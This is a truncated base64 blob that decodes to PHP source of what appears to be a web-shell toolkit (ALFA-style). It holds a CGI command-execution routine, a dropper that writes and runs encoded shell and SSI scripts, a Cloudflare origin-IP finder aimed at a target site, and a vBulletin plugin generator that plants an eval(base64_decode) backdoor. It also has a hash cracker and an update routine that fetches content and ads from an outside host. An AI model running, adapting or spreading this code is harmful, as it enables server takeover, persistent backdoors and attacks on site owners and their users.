x1ZSddOwppZigkZmFxX25hbWUgPT0gImhlYWRlciIpewoJaWYoc3Vic3RyKCRzYXZldmFsLCAtNSwgNSkgPT0gIi9jb3JlIil7CgkJJHNhdmV2YWwgPSBzdWJzdHIoJHNhdmV2YWwsIDAsIC01KTsKCX0KfQokcmVhbHVybCA9IHBhcnNlX3VybCgkc2F2ZXZhbCxQSFBfVVJMX0hPU1QpOwokcmVhbHBhdGggPSBwYXJzZV91cmwoJHNhdmV2YWwsUEhQX1VSTF9QQVRIKTsKJHJlcyA9IGZhbHNlOwokQWxmYUN1cmwgPSBuZXcgQWxmYUNVUkwoKTsKaWYoZXh0ZW5zaW9uX2xvYWRlZCgnc29ja2V0cycpICYmIGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJykgJiYgJG1ldGhvZCA9PSAnYXV0bycpewppZigkZnNvY2sgPSBAZnNvY2tvcGVuKCRyZWFsdXJsLCA4MCwgJGVycm5vLCAkZXJyc3RyLCAxMCkpewpAZnB1dHMoJGZzb2NrLCAiR0VUICRyZWFscGF0aC4kZmFxX2ZpbGUgSFRUUC8xLjFcclxuIik7CkBmcHV0cygkZnNvY2ssICJIT1NUOiAkcmVhbHVybFxyXG4iKTsKQGZwdXRzKCRmc29jaywgIkNvbm5lY3Rpb246IGNsb3NlXHJcblxyXG4iKTsKJGNoZWNrID0gZmdldHMoJGZzb2NrKTsKaWYocHJlZ19tYXRjaCgiLzIwMCBPSy9pIiwkY2hlY2spKXsKJHAxID0gIlVQREFURSAiLiRfUE9TVFsnYWxmYTYnXS4idGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi5teXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCRjb25uLCRzYXZldG9hc3MpLiInIFdIRVJFIHRpdGxlID0nIi4kZmFxX25hbWUuIiciOwoka2ExPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCRwMSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokcmVzID0gdHJ1ZTsKfQpAZmNsb3NlKCRmc29jayk7Cn0KfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpICYmICRtZXRob2QgPT0gJ2F1dG8nKXsKJEFsZmFDdXJsLT5TZW5kKCRyZWFsdXJsLiRyZWFscGF0aC4kZmFxX2ZpbGUpOwokcDEgPSAiVVBEQVRFICIuJF9QT1NUWydhbGZhNiddLiJ0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSciLm15c3FsaV9yZWFsX2VzY2FwZV9zdHJpbmcoJGNvbm4sJHNhdmV0b2FzcykuIicgV0hFUkUgdGl0bGUgPSciLiRmYXFfbmFtZS4iJyI7CiRrYTE9IEBteXNxbGlfcXVlcnkoJGNvbm4sJHAxKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRyZXMgPSB0cnVlOwp9CmlmKCRyZXMpewokZmYgPSAnaHR0cDovLycuJHJlYWx1cmwuJHJlYWxwYXRoLiIvc29sZXZpc2libGUucGhwIjsKb3V0cHV0KCRmZik7Cn1lbHNlewokZmYgPSAnaHR0cDovLycuJHJlYWx1cmwuJHJlYWxwYXRoLiRmYXFfZmlsZTsKJGZmZiA9ICdodHRwOi8vJy4kcmVhbHVybC4kcmVhbHBhdGguIi9zb2xldmlzaWJsZS5waHAiOwplY2hvICI8Y2VudGVyPjxwPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPkZpcnN0IE9wZW4gVGhpcyBMaW5rID0+IDwvZm9udD48YSBocmVmPSciLiRmZi4iJyB0YXJnZXQ9J19ibGFuayc+Ii4kZmYuIjwvYT48YnIvPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlNlY29uZCBPcGVuIFRoaXMgTGluayA9PiA8L2ZvbnQ+PGEgaHJlZj0nIi4kZmZmLiInIHRhcmdldD0nX2JsYW5rJz4iLiRmZmYuIjwvYT48L2NlbnRlcj48L3A+Ijt9fX0KZWNobyAnPC9kaXY+JzsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmFjaGVja2ZpbGV0eXBlKCl7CgkkcGF0aCA9ICRfUE9TVFsncGF0aCddOwoJJGFyZyA9ICRfUE9TVFsnYXJnJ107CglpZihAaXNfZmlsZSgkcGF0aC4nLycuJGFyZykpewoJCWVjaG8oImZpbGUiKTsKCX1lbHNlewoJCWVjaG8oImRpciIpOwoJfQp9CmZ1bmN0aW9uIGFsZmFjaGVja3VwZGF0ZSgpewoJaWYoJEdMT0JBTFNbIkRCX05BTUUiXVsiY2dpX2FwaSJdKXsKCQlpZighaXNzZXQoJF9DT09LSUVbImFsZmFjZ2lhcGlfbW9kZSJdKSYmIWlzc2V0KCRfQ09PS0lFWyJhbGZhY2dpYXBpIl0pKXsKCQkJX2FsZmFfY2dpY21kKCJ3aG9hbWkiLCJwZXJsIix0cnVlKTsKCQkJaWYoc3RybGVuKGFsZmFFeCgid2hvYW1pIixmYWxzZSx0cnVlKSk+MCl7CgkJCQlfX2FsZmFfc2V0X2Nvb2tpZSgiYWxmYV9jYW5ydW5jbWQiLCAidHJ1ZSIpOwoJCQl9CgkJfQoJfQoJaWYoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX3ZlcnNpb24iKSl7CgkJJHVwZGF0ZSA9IG5ldyBBbGZhQ1VSTCgpOwoJCSRqc29uID0gJHVwZGF0ZS0+U2VuZCgiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS91cGRhdGUuanNvbj92ZXI9Ii5fX0FMRkFfVkVSU0lPTl9fKTsKCQkkanNvbiA9IEBqc29uX2RlY29kZSgkanNvbix0cnVlKTsKCQkkZGF0YSA9IGFycmF5KCk7CgkJaWYoJGpzb24pewoJCQlpZighaXNzZXQoJF9DT09LSUVbJ2FsZmFfY2hlY2t1cGRhdGUnXSkgJiYgIWVtcHR5KCRqc29uWyJ0eXBlIl0pKXsKCQkJCWlmKCRqc29uWyJ0eXBlIl0gPT0gInVwZGF0ZSIpewoJCQkJCWlmKF9fQUxGQV9WRVJTSU9OX18gIT0gJGpzb25bJ3ZlcnNpb24nXSB8fCBfX0FMRkFfVVBEQVRFX18gIT0gJGpzb25bJ3ZlcnNpb25fbnVtYmVyJ10pewoJCQkJCQlAc2V0Y29va2llKCJhbGZhX2NoZWNrdXBkYXRlIiwgIjEiLCB0aW1lKCkrODY0MDApOwoJCQkJCQkkZGF0YVsiY29udGVudCJdID0gJzxkaXYgY2xhc3M9InVwZGF0ZS1ob2xkZXIiPicuJGpzb25bImNvbnRlbnQiXS4nPC9kaXY+JzsKCQkJCQl9CgkJCQl9CgkJCX0KCQkJaWYoaXNzZXQoJGpzb25bImFkcyJdKSAmJiAhZW1wdHkoJGpzb25bImFkcyJdKSl7CgkJCQkkZGF0YVsiY29udGVudCJdIC49ICRqc29uWyJhZHMiXTsKCQkJfQoJCQlpZihpc3NldCgkanNvblsiY29weXJpZ2h0Il0pICYmICFlbXB0eSgkanNvblsiY29weXJpZ2h0Il0pKXsKCQkJCSRkYXRhWyJjb3B5cmlnaHQiXSA9ICRqc29uWyJjb3B5cmlnaHQiXTsKCQkJfQoJCQlpZihpc3NldCgkanNvblsic29sZXZpc2libGUiXSkgJiYgIWVtcHR5KCRqc29uWyJzb2xldmlzaWJsZSJdKSl7CgkJCQkkZGF0YVsic29sZXZpc2libGUiXSA9ICRqc29uWyJzb2xldmlzaWJsZSJdOwoJCQl9CgkJCWlmKGlzc2V0KCRqc29uWyJjb2RlX25hbWUiXSkgJiYgIWVtcHR5KCRqc29uWyJjb2RlX25hbWUiXSkpewoJCQkJJGRhdGFbImNvZGVfbmFtZSJdID0gJGpzb25bImNvZGVfbmFtZSJdOwoJCQkJJGRhdGFbInZlcnNpb25fbnVtYmVyIl0gPSBfX0FMRkFfVkVSU0lPTl9fOwoJCQl9CgkJCWlmKGlzc2V0KCRqc29uWyJtYXJrZXQiXSkgJiYgIWVtcHR5KCRqc29uWyJtYXJrZXQiXSkpewoJCQkJJGRhdGFbIm1hcmtldCJdID0gJGpzb25bIm1hcmtldCJdOwoJCQl9CgkJCWVjaG8gQGpzb25fZW5jb2RlKCRkYXRhKTsKCQl9Cgl9Cn0KZnVuY3Rpb24gYWxmYVdyaXRlVG9jZ2lhcGkoJG5hbWUsICRzb3VyY2UpewoJJHRlbXAgPSAiIjsKCSRub3RfYXBpID0gYXJyYXkoImJhc2VkaXIuYWxmYSIsICJnZXRkaXIuYWxmYSIsICJnZXRoZWFkZXIuYWxmYSIpOwoJaWYoaW5fYXJyYXkoJG5hbWUsICRub3RfYXBpKSl7CgkJJHRlbXAgPSBBTEZBX1RFTVBESVI7CgkJaWYoJHRlbXApewoJCQlAY2hkaXIoJHRlbXApOwoJCX0KCX1lbHNlewoJCWFsZmFDcmVhdGVQYXJlbnRGb2xkZXIoKTsKCQlAY2hkaXIoJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAiLyIgLiBfX0FMRkFfREFUQV9GT0xERVJfXyk7Cgl9CglAbWtkaXIoJ2FsZmFjZ2lhcGknLDA3NTUpOwoJX193cml0ZV9maWxlKCJhbGZhY2dpYXBpLyIuJG5hbWUsIF9fZ2V0X3Jlc291cmNlKCRzb3VyY2UpKTsKCUBjaG1vZCgiYWxmYWNnaWFwaS8iLiRuYW1lLCAwNzU1KTsKCXJldHVybiAkdGVtcDsKfQpmdW5jdGlvbiBhbGZhY2hlY2tjZ2koKXtpZihzdHJsZW4oYWxmYUV4KCJpZCIsZmFsc2UsdHJ1ZSx0cnVlKSk+MCllY2hvKCJvayIpO2Vsc2UgZWNobygibm8iKTt9CmZ1bmN0aW9uIGFsZmF1cGRhdGVoZWFkZXIoKXsKCWlmKCFpc3NldCgkX0NPT0tJRVsidXBkYXRlaGVhZGVyX2RhdGEiXSkpewoJCSRiYXNoID0gInpaUmRiOW93RklhdnlhODQ5ZElHSkxLMHZWeUZORlRvaEVSQmd0RmRRSVJNNGhBTDQwUjJVa1lwLzMxMmdQQVJxTHFiYVlueUlmczh4Kzg1citVdlYwNHFoVE9oM0pHaE1lZzNud2J0V25ucWVjRFVvejgrelBHTVFCekdFQlBCSUY0bVljUkJwSk1sSkZqQTlJM0dNTm0rTUF2d1BYQ0ZSUjVPQ01pVStwcXFHSTN1cjA2N1cyODBlLzFhZVRFbENRUWs4VUpnUy80YkdPVXpDVjZxMHVzWnRvanRPUlVpRWhXRGVHRUVOZ0ZyaFZKSmdwU2hiOE9SWnhsQkpJQUM1V0N1TnFxSDM5MzFBL2lSQWVwYWhOUUxhMlk1KzRKSkswWnBPSVFyc044QW1ka2dBdGVGbXh2WTVSOGhrNDVRMVZLNXE0WWZjWkt2akVicWRxc2pEKzNGSUQ5YWNCWmhuNGlpbm9OUy82Mm9sT001VVhxUVpaYXpmN0F4dkt1K0ptQjdkL2JkL1czRnlpRHJFSkpFVUg5THlRVHJXRURYS1F6aGVnQXVVdHB1MFJsdUtxSTBQZ05PTmZqakE5Q1A1cGh5cVVFOThkTHEvUnpVMitORzk3bmU2dlJyeUZIN3dubWxJa2t4Y3piQnF0bEVTR1IwNnMvTnh2aXgyM25haHVraS9hOWV4QU5rdk5UYnJYcS9tV2ZBakdKSnBLTm5ldU1NVlZPdldHd29OVTREVUFib2Jwb25LclFSRDVDRWhCdWxiWlQ0T0txMEs5QXM0OFVNckdhbnNZb0Y1UWwwZW1zTFR0RUs3UHFnTFlRU1lmdGxqaHB3WVEwbUMzSHZzUERBWnNlWmp4S2IrLzc5amZROVZjZ3R5UUdPSHJGaWVnVDdhZ3VjMkFOdVJnVFV5QVdSZ2lDOTlYTkR0bTRXeDdkZVhyTG9nTHZRdDRPWXN6MDdkdVA4aXNXVWVkQi83c09uWGJnczlLVDJ3NkN6eFcvMGZYNmJhSDM1Y2VHdTFTbnhCdz09IjsKCQkkcmVhbGRpciA9IGFkZHNsYXNoZXMoZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKTsKCQkkdG1wX3BhdGggPSBhbGZhV3JpdGVUb2NnaWFwaSgiZ2V0aGVhZGVyLmFsZmEiLCRiYXNoKTsKCQkkZGF0YSA9IGFsZmFFeCgiY2QgJ3skdG1wX3BhdGh9L2FsZmFjZ2lhcGknO3NoIGdldGhlYWRlci5hbGZhIixmYWxzZSx0cnVlLHRydWUpOwoJCWlmKEBpc19hcnJheShAanNvbl9kZWNvZGUoJGRhdGEsdHJ1ZSkpKXsKCQkJX19hbGZhX3NldF9jb29raWUoInVwZGF0ZWhlYWRlcl9kYXRhIiwgX19aVzVqYjJSbGNnKCRkYXRhKSk7CgkJCWVjaG8gJGRhdGE7CgkJfQoJfWVsc2V7CgkJZWNobyBfX1pHVmpiMlJsY2coJF9DT09LSUVbInVwZGF0ZWhlYWRlcl9kYXRhIl0pOwoJfQp9CmZ1bmN0aW9uIGFsZmFzc2lTaGVsbCgpewphbGZhaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwphbGZhQ3JlYXRlUGFyZW50Rm9sZGVyKCk7CkBjaGRpcigkR0xPQkFMU1snaG9tZV9jd2QnXSAuICIvIiAuIF9fQUxGQV9EQVRBX0ZPTERFUl9fKTsKQG1rZGlyKCdhbGZhX3NodG1sJywwNzU1KTsKQGNoZGlyKCdhbGZhX3NodG1sJyk7CmFsZmFjZ2lodGFjY2Vzcygnc2h0bWwnKTsKJGNvZGUgPSAnclZiOWI5czJFUDFYcmt5MjJNaHNLY3U2cHRiSDBBK3Z6WWJDWGV6dGw2WW9aSW1TMlZDa1FGSk92Q1gvKzQ2U3JDaE9uS1JCQThPUnlPUGp1M2VQUi92UEJvT2RXSXFVWlVDVnluVVdrRTlqcGFUNlRBYUQwTzlNYS9ZdlRYTVRrUG5LVU4zT3NoVG9SYUVDMGpzbHUrOW5zNDlmM2t3bWZ4NlBUd2tFY0VwT1NSOHVMOEZPbm96LytuczhuWDM1TUo2OW43ekYrV2MyNE4xNGhqRUUxbmlhR2xoR2lLY1huT0FUTDJsQXVJWUJqNjZES05mMDNoVmRKdGVyUklKczhRMitDL09QaytrVzZrekVMWFZuT0x6alEwM3NGSkhXNThsRFNYV3dOcE9DemF3V0p1ZWh2NkJSRXZxR0dVN0RWenlOWUVhakhLYlRZNWd1S09lK1UwLzVPbGFzTU1BamtaVlJobFMvUnN1b0hpUmhXb3JZTUNrZ2tjejBJSmNKaFQ3OHg5SWVqc1JsVG9VWnhsS2VNV3JGSU1ST0lsK294elFxdUJFMjFBVzNTTVREV0MrVnFtZnpBNGFScm9mLy9QWFNJYWNpTXdzUDl2Y1o5RGMzQzlaaG4zRE5aOWhIUEN3aVUxUUhzMFg1RTdnSDhFY2s0T0RsQ3hkY2QxUjk0TjJIR2ZHdWJrTzFJeGsxWTA3dDQrdlZjYkpPZDFqSjdyVlJYTWFSMVdTb0tKZFIwdXQ3VjYxTVJtWVpwejFnaVZWaU83S2RIMnF6NG5TWU1KUWtXaUdQM2plRm85eENDb3IyL0EzSUhFbWRFUmcxWTk2Vjc5UWxESDJuTnNKY0ppdVF3aklPeUxhTjltS1o1NUZJOXZyREZFTTA1a1pnbnNXU1MvVGdqbHY5RVlnNEUyZllBVkFXTkdYbkJiZFJvWit3WmVqSGlFbnhaWEVZK3FrVUJ0WWd6MS9HOGVFaENTL2hEbGZDcGUvWWFFc2JGenByRkF2YlBvZCsyV0RhWmhTUS9RT0NtY1djeGNpanFjQWVGY3M5eTc1U0xTQnhxYlJVbzBJeUMrSlZaRWFLSmg0SngyTEpsTFFhQUJPcGJBbmdKczY4d3dIVHdrSUVCSkZiMktZYUk2dDZBN3J6NjR0WHI5Lys3alZpRklyV1I3bFFkbXV4dEVmYnFVYnR0Rk9KVlgvZjB1NXhtV0svZTJTbWIrcnFBaDQ3MEhVVDJKSnJUY2htakxYT0JLSldFd1RPV1dJV0FUbHczUi9RR1ZJbEZHdUtsckRDVkkyM1lUR1A0ck5NeVZJa2cwYVcyanplelo1Ny8zMVFOY1ViRXQ5c2RZM0U4dzJIMVFXd2hVWEswRmk2VFhVZWpuNFVjMTE0M1c4RVVEbmsxQ3drSm9Lbnd1cXN5M25PakQwdDJMR3VqNGF0TEJORmFjQ3NDa3pWMEFzTXJ3dDAxRWpSQkpPd2dlL0cxN0R0elhCU0NnUjBMSUZiUHQ4by9XYUNKMVNYM0hReXUzbGdMTEZJMGFoemd1a3YxRTJPS2lTTlZmd1pRWlU4dDQvUFNYUDlYTkFZNGp3SmRyR2MxVDNrckhId2FxbDhBWDVyMTI5ektsNWlqM1RxcEtDcWFySWFVU0Jsbk9vSHoyVjFSVDdTcnQvSnBmWGRYOW0wUm55NldmOWg5THhLRkhyWWprd1pjZXhHTVM4VDJoOTFLdnlRZFF1cDcvRHUwZ0xmNjl3anQ5S3dDbnlTYTdmbE5VWDBCeExZdHJUU0w3WDBvSkVrMkVWTnJKajF5dW9uYU5mK1QzWjlJL1d0ZlRybXY5V3VIWHVsMm92Sy90ejZIdz09JzsKQF9fd3JpdGVfZmlsZSgnYWxmYV9zc2kuc2h0bWwnLF9fZ2V0X3Jlc291cmNlKCRjb2RlKSk7CkBjaG1vZCgiYWxmYV9zc2kuc2h0bWwiLDA3NTUpOwplY2hvIEFsZmFpRnJhbWVDcmVhdG9yKCdhbGZhX3NodG1sL2FsZmFfc3NpLnNodG1sJyk7CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhY2xvdWRmbGFyZSgpewphbGZhaGVhZCgpOwpBbGZhTnVtKDgsOSwxMCw3LDYsNSw0LDMpOwplY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxicj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBDbG91ZCBGbGFyZSBCeVBhc3NlciB8PC9kaXY+PGJyPjxmb3JtIGFjdGlvbj0nJyBvbnN1Ym1pdD1cImcoJ2Nsb3VkZmxhcmUnLG51bGwsdGhpcy51cmwudmFsdWUsJz4+Jyk7IHJldHVybiBmYWxzZTtcIiBtZXRob2Q9J3Bvc3QnPgo8cD48ZGl2IGNsYXNzPSd0eHRmb250Jz5UYXJnZXQ6PC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPTMwIG5hbWU9J3VybCcgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgcGxhY2Vob2xkZXI9XCJ0YXJnZXQuY29tXCI+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2dvJyB2YWx1ZT0nICcgLz48L3A+PC9mb3JtPjwvY2VudGVyPiI7CmlmKCRfUE9TVFsnYWxmYTInXSAmJiAkX1BPU1RbJ2FsZmEyJ10gPT0gJz4+Jyl7CiR1cmwgPSAkX1BPU1RbJ2FsZmExJ107CmlmKCFwcmVnX21hdGNoKCcvXihodHRwcz8pOlwvXC8od3szfXx3MylcLi9pJywgJHVybCkpewokdXJsID0gcHJlZ19yZXBsYWNlKCcvXihodHRwcz8pOlwvXC8vJywgJycsICR1cmwpOwokdXJsID0gImh0dHA6Ly93d3cuIi4kdXJsOwp9CiRoZWFkZXJzID0gQGdldF9oZWFkZXJzKCR1cmwsIDEpOwokc2VydmVyID0gJGhlYWRlcnNbJ1NlcnZlciddOwokc3VicyA9IGFycmF5KCdvd2EuJywnMnR0eS4nLCdtLicsJ2d3LicsJ214MS4nLCdzdG9yZS4nLCcxJywnMicsJ3ZiLicsJ25ld3MuJywnZG93bmxvYWQuJywndmlkZW8nLCdjcGFuZWwuJywgJ2Z0cC4nLCAnc2VydmVyMS4nLCAnY2RuLicsICdjZG4yLicsICducy4nLCAnbnMzLicsICdtYWlsLicsICd3ZWJtYWlsLicsICdkaXJlY3QuJywgJ2RpcmVjdC1jb25uZWN0LicsICdyZWNvcmQuJywgJ3NzbC4nLCAnZG5zLicsICdoZWxwLicsICdibG9nLicsICdpcmMuJywgJ2ZvcnVtLicsICdkbC4nLCAnbXkuJywgJ2NwLicsICdwb3J0YWwuJywgJ2tiLicsICdzdXBwb3J0LicsJ3NlYXJjaC4nLCAnZG9jcy4nLCAnZmlsZXMuJywgJ2FjY291bnRzLicsICdzZWN1cmUuJywgJ3JlZ2lzdGVyLicsICdhcHBzLicsICdiZXRhLicsICdkZW1vLicsICdzbXRwLicsICduczIuJywgJ25zMS4nLCAnc2VydmVyLicsICdzaG9wLicsICdob3N0LicsICd3ZWIuJywgJ2Nsb3VkLicsICdhcGkuJywgJ2V4Y2hhbmdlLicsICdhcHAuJywgJ3Zwcy4nLCAnb3dhLicsICdzYXQuJywgJ2Jicy4nLCAnbW92aWUuJywgJ211c2ljLicsICdhcnQuJywgJ2Z1c2lvbi4nLCAnbWFwcy4nLCAnZm9ydW1zLicsICdhY2MuJywgJ2NjLicsICdkZXYuJywgJ3d3NDIuJywgJ3dpa2kuJywgJ2NsaWVudHMuJywgJ2NsaWVudC4nLCdib29rcy4nLCdhbnN3ZXJzLicsJ3NlcnZpY2UuJywnZ3JvdXBzLicsJ2ltYWdlcy4nLCd1cGxvYWQuJywndXAuJywndHViZS4nLCd1c2Vycy4nLCdhZG1pbi4nLCdhZG1pbmlzdHJhdG9yLicsJ3ByaXZhdGUuJywnZGVzaWduLicsJ3dobWNzLicsJ3dwLicsJ3dvcmRwcmVzcy4nLCdqb29tbGEuJywndmJ1bGxldGluLicsJ3Rlc3QuJywnZGV2ZWxvcGVyLicsJ3BhbmVsLicsJ2NvbnRhY3QuJyk7CmlmKHByZWdfbWF0Y2goJy9eKGh0dHBzPyk6XC9cLyh3ezN9fHczKVwuL2knLCAkdXJsLCAkbWF0Y2hlcykpewppZigkbWF0Y2hlc1syXSAhPSAnd3d3Jyl7JHVybCA9IHByZWdfcmVwbGFjZSgnL14oaHR0cHM/KTpcL1wvLycsICcnLCAkdXJsKTt9ZWxzZXsKJHVybCA9IGV4cGxvZGUoJG1hdGNoZXNbMF0sICR1cmwpOwokdXJsID0gJHVybFsxXTt9fQppZihpc19hcnJheSgkc2VydmVyKSkkc2VydmVyID0gJHNlcnZlclswXTsKZWNobyBfX3ByZSgpOwppZihwcmVnX21hdGNoKCcvY2xvdWRmbGFyZS9pJywgJHNlcnZlcikpCmVjaG8gIlxuWytdIENsb3VkRmxhcmUgZGV0ZWN0ZWQ6IHskc2VydmVyfVxuPGJyPiI7CmVsc2UKZWNobyAiXG5bK10gQ2xvdWRGbGFyZSB3YXNuJ3QgZGV0ZWN0ZWQsIHByb2NlZWRpbmcgYW55d2F5LlxuIjsKZWNobyAnWytdIENsb3VkRmxhcmUgSVA6ICcgLiBpc19pcHY0KGdldGhvc3RieW5hbWUoJHVybCkpIC4gIlxuXG48YnI+PGJyPiI7CmVjaG8gIlsrXSBTZWFyY2hpbmcgZm9yIG1vcmUgSVAgYWRkcmVzc2VzLlxuXG48YnI+PGJyPiI7CmZvcigkeD0wOyR4PGNvdW50KCRzdWJzKTskeCsrKXsKJHNpdGUgPSAkc3Vic1skeF0gLiAkdXJsOwokaXAgPSBpc19pcHY0KGdldGhvc3RieW5hbWUoJHNpdGUpKTsKaWYoJGlwID09ICcoTnVsbCknKQpjb250aW51ZTsKZWNobyAiVHJ5aW5nIHskc2l0ZX06IHskaXB9XG48YnI+IjsKfQplY2hvICJcblsrXSBGaW5pc2hlZC5cbjxicj4iOwp9CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBpc19pcHY0KCRpcCl7CnJldHVybiBmaWx0ZXJfdmFyKCRpcCwgRklMVEVSX1ZBTElEQVRFX0lQLCBGSUxURVJfRkxBR19JUFY0KSA/ICRpcCA6ICcoTnVsbCknOwp9CmZ1bmN0aW9uIF9fYWxlcnQoJHMpewplY2hvICc8Y2VudGVyPicuX19wcmUoKS4kcy4nPC9jZW50ZXI+JzsKfQpmdW5jdGlvbiBjcmVhdGVfdGFibGUoJGRhdGEpewplY2hvICc8dGFibGUgYm9yZGVyPSIxIj4nOwpmb3JlYWNoICgkZGF0YSBhcyAka2V5ID0+ICR2YWwpewokYXJyYXkgPSBhcnJheSgpOwpmb3JlYWNoKCR2YWwgYXMgJGsgPT4gJHYpewokYXJyYXlbJGtdID0gJHY7Cn0KZWNobyAiPHRyPjx0ZD48ZGl2IGNsYXNzPSd0Ymx0eHQnPiIuJGFycmF5Wyd0ZE5hbWUnXS4iPC9kaXY+PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGlkPSciLiRhcnJheVsnaWQnXS4iJyBuYW1lPSciLiRhcnJheVsnaW5wdXROYW1lJ10uIicgIi4oJGFycmF5WydwbGFjZWhvbGRlciddPydwbGFjZWhvbGRlcic6J3ZhbHVlJykuIj0nIi4kYXJyYXlbJ2lucHV0VmFsdWUnXS4iJyBzaXplPSciLiRhcnJheVsnaW5wdXRTaXplJ10uIicgIi4oJGFycmF5WydkaXNhYmxlZCddPydkaXNhYmxlZCc6JycpLiI+PC90ZD48L3RyPiI7Cn0KZWNobyAnPC90YWJsZT4nOwp9CmZ1bmN0aW9uIGFsZmFwaHAyeG1sKCl7CmFsZmFoZWFkKCk7CkFsZmFOdW0oOCw5LDEwLDcsNiw1LDQsMyk7CmVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgU2hlbGwgRm9yIHZCdWxsZXRpbiB8PC9kaXY+PC9wPjxmb3JtIG9uc3VibWl0PVwiZygncGhwMnhtbCcsbnVsbCx0aGlzLmNvZGUudmFsdWUsJz4+Jyk7IHJldHVybiBmYWxzZTtcIiBtZXRob2Q9J3Bvc3QnPgo8cD48YnI+PHRleHRhcmVhIHJvd3M9JzEyJyBjb2xzPSc3MCcgdHlwZT0ndGV4dCcgbmFtZT0nY29kZScgcGxhY2Vob2xkZXI9XCJpbnNlcnQgeW91ciBzaGVsbCBjb2RlXCI+PC90ZXh0YXJlYT48YnIvPjxici8+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2dvJyB2YWx1ZT0nICcgLz48L3A+PC9mb3JtPjwvY2VudGVyPiI7CmlmKCRfUE9TVFsnYWxmYTInXSYmJF9QT1NUWydhbGZhMiddPT0nPj4nKXsKZWNobyBfX3ByZSgpLiI8cD48Y2VudGVyPjx0ZXh0YXJlYSByb3dzPScxMCcgbmFtZT0ndXNlcnMnIGNvbHM9JzgwJz4iOwplY2hvICc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJJU08tODg1OS0xIj8+PHBsdWdpbnM+PHBsdWdpbiBhY3RpdmU9IjEiIHByb2R1Y3Q9InZidWxsZXRpbiI+PHRpdGxlPnZCdWxsZXRpbjwvdGl0bGU+PGhvb2tuYW1lPmluaXRfc3RhcnR1cDwvaG9va25hbWU+PHBocGNvZGU+PCFbQ0RBVEFbaWYgKHN0cnBvcygkX1NFUlZFUltcJ1BIUF9TRUxGXCddLCJzdWJzY3JpcHRpb25zLnBocCIpKXtldmFsKGJhc2U2NF9kZWNvZGUoXCcnLl9fWlc1amIyUmxjZygkX1BPU1RbJ2FsZmExJ10pLidcJykpO2V4aXQ7fV1dPjwvcGhwY29kZT48L3BsdWdpbj48L3BsdWdpbnM+JzsKZWNobyAnPC90ZXh0YXJlYT48L2NlbnRlcj48L3A+JzsKfQplY2hvICc8L2NlbnRlcj48L2Rpdj4nOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYWNwY3JhY2soKXsKYWxmYWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBIYXNoIFRvb2xzIHw8L2Rpdj48L3A+PGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdjcGNyYWNrXCcsbnVsbCxcJ2RlY1wnKSI+fCBEZUNyeXB0ZXIgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ2NwY3JhY2tcJyxudWxsLFwnYW5hbHl6ZXJcJykiPnwgSGFzaCBBbmFseXplciB8IDwvYT48L2gzPjwvY2VudGVyPic7CmlmKCRfUE9TVFsnYWxmYTEnXT09J2RlYycpewokYWxnb3JpdGhtcyA9IGFycmF5KCdtZDUnPT4nTUQ1JywnbWQ0Jz0+J01ENCcsJ3NoYTEnPT4nU0hBMScsJ3NoYTI1Nic9PidTSEEyNTYnLCdzaGEzODQnPT4nU0hBMzg0Jywnc2hhNTEyJz0+J1NIQTUxMicsJ250bG0nPT4nTlRMTScpOwplY2hvICc8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IERlQ3J5cHRlciB8PC9kaXY+PGJyPjxicj4KPGZvcm0gb25zdWJtaXQ9ImcoXCdjcGNyYWNrXCcsbnVsbCxcJ2RlY1wnLHRoaXMubWQ1LnZhbHVlLFwnPj5cJyx0aGlzLmFsZy52YWx1ZSk7IHJldHVybiBmYWxzZTsiPjxkaXYgY2xhc3M9InR4dGZvbnQiPkRlY3J5cHQgTWV0aG9kOjwvZGl2PiA8c2VsZWN0IG5hbWU9ImFsZyIgc3R5bGU9IndpZHRoOjEwMHB4OyI+JzsKZm9yZWFjaCgkYWxnb3JpdGhtcyBhcyAka2V5PT4kdmFsKXtlY2hvKCc8b3B0aW9uIHZhbHVlPSInLiRrZXkuJyI+Jy4kdmFsLic8L29wdGlvbj4nKTt9CmVjaG8nPC9zZWxlY3Q+PGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJIYXNoIiB